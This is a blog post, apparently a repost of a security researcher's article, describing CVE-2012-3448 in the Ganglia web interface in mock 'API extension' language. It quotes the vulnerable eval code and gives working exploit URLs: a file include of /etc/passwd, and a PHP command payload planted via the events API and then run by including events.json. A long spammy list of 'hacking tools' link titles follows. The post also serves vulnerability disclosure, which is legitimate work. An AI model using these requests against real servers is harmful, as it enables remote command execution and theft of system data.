Saturday, August 22, 2020

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448Related links
  1. Hacker Tool Kit
  2. Hacker Techniques Tools And Incident Handling
  3. Nsa Hack Tools
  4. Tools For Hacker
  5. Pentest Tools Apk
  6. Hacking Tools For Windows 7
  7. Physical Pentest Tools
  8. Hack Tools
  9. Pentest Tools Website Vulnerability
  10. Hacker Techniques Tools And Incident Handling
  11. Pentest Tools For Windows
  12. Easy Hack Tools
  13. Beginner Hacker Tools
  14. Ethical Hacker Tools
  15. Hacker Techniques Tools And Incident Handling
  16. Pentest Tools List
  17. Hacker Tools For Windows
  18. Hacking App
  19. Hacker Tools For Mac
  20. How To Make Hacking Tools
  21. Hacker Tools Online
  22. How To Make Hacking Tools
  23. Hacking Tools Github
  24. Hacker Tools 2020
  25. Pentest Tools Bluekeep
  26. How To Make Hacking Tools
  27. Tools Used For Hacking
  28. Hacker Tools Windows
  29. Pentest Reporting Tools
  30. Hacking Apps
  31. Hacking Tools For Kali Linux
  32. Hacker Tools 2020
  33. How To Hack
  34. Hacking Tools Kit
  35. Hack Tools Mac
  36. Pentest Tools Nmap
  37. Hacker Tools Windows
  38. Pentest Tools Windows
  39. Hacker Tools List
  40. Pentest Tools Android
  41. Hacking Tools And Software
  42. Pentest Tools Website
  43. Hacker Tools For Pc
  44. Ethical Hacker Tools
  45. Pentest Reporting Tools
  46. Best Hacking Tools 2020
  47. Hack Tools Github
  48. Hacker Search Tools
  49. Hacker Tools List
  50. Wifi Hacker Tools For Windows
  51. Hak5 Tools
  52. Hacker Tool Kit
  53. Best Pentesting Tools 2018
  54. Hack Tools Download
  55. Hacking Tools Name
  56. Hack Tools Download
  57. Nsa Hacker Tools
  58. Hacking Tools For Windows
  59. Black Hat Hacker Tools
  60. Growth Hacker Tools
  61. Pentest Tools Kali Linux
  62. Top Pentest Tools
  63. Tools For Hacker
  64. Hack Tools Online
  65. Hack Tools Mac
  66. Hack Website Online Tool
  67. Best Hacking Tools 2019
  68. Pentest Tools Alternative
  69. Ethical Hacker Tools
  70. Physical Pentest Tools
  71. Hacking Tools
  72. How To Make Hacking Tools
  73. Hack Rom Tools
  74. Pentest Tools
  75. Android Hack Tools Github
  76. Hacker Tools Windows
  77. Pentest Tools For Windows
  78. How To Install Pentest Tools In Ubuntu
  79. Hacking Tools For Kali Linux
  80. Hack Tools Github
  81. Pentest Tools Website
  82. Physical Pentest Tools
  83. Hacking Tools For Games
  84. Hacker Tools Software
  85. Pentest Tools Free
  86. World No 1 Hacker Software
  87. Hack Tools
  88. Nsa Hack Tools Download
  89. Hak5 Tools
  90. Hack And Tools
  91. Pentest Tools Kali Linux
  92. Pentest Tools Nmap
  93. Blackhat Hacker Tools
  94. Hacker Tools Apk
  95. Pentest Tools Subdomain
  96. Hacking Tools Name
  97. Hacking Tools 2019
  98. Computer Hacker
  99. Hacker Tools Apk
  100. Hacker Tools Github
  101. Bluetooth Hacking Tools Kali
  102. Hacking Tools 2019
  103. Hacking Tools Hardware
  104. Hacking Tools Pc
  105. Hacking Tools Online
  106. Tools Used For Hacking
  107. Hacker Tools List
  108. Hacker Tools Apk Download
  109. What Are Hacking Tools
  110. Pentest Tools For Android
  111. Best Hacking Tools 2020
  112. Easy Hack Tools
  113. Hack Tools Download

No comments:

Post a Comment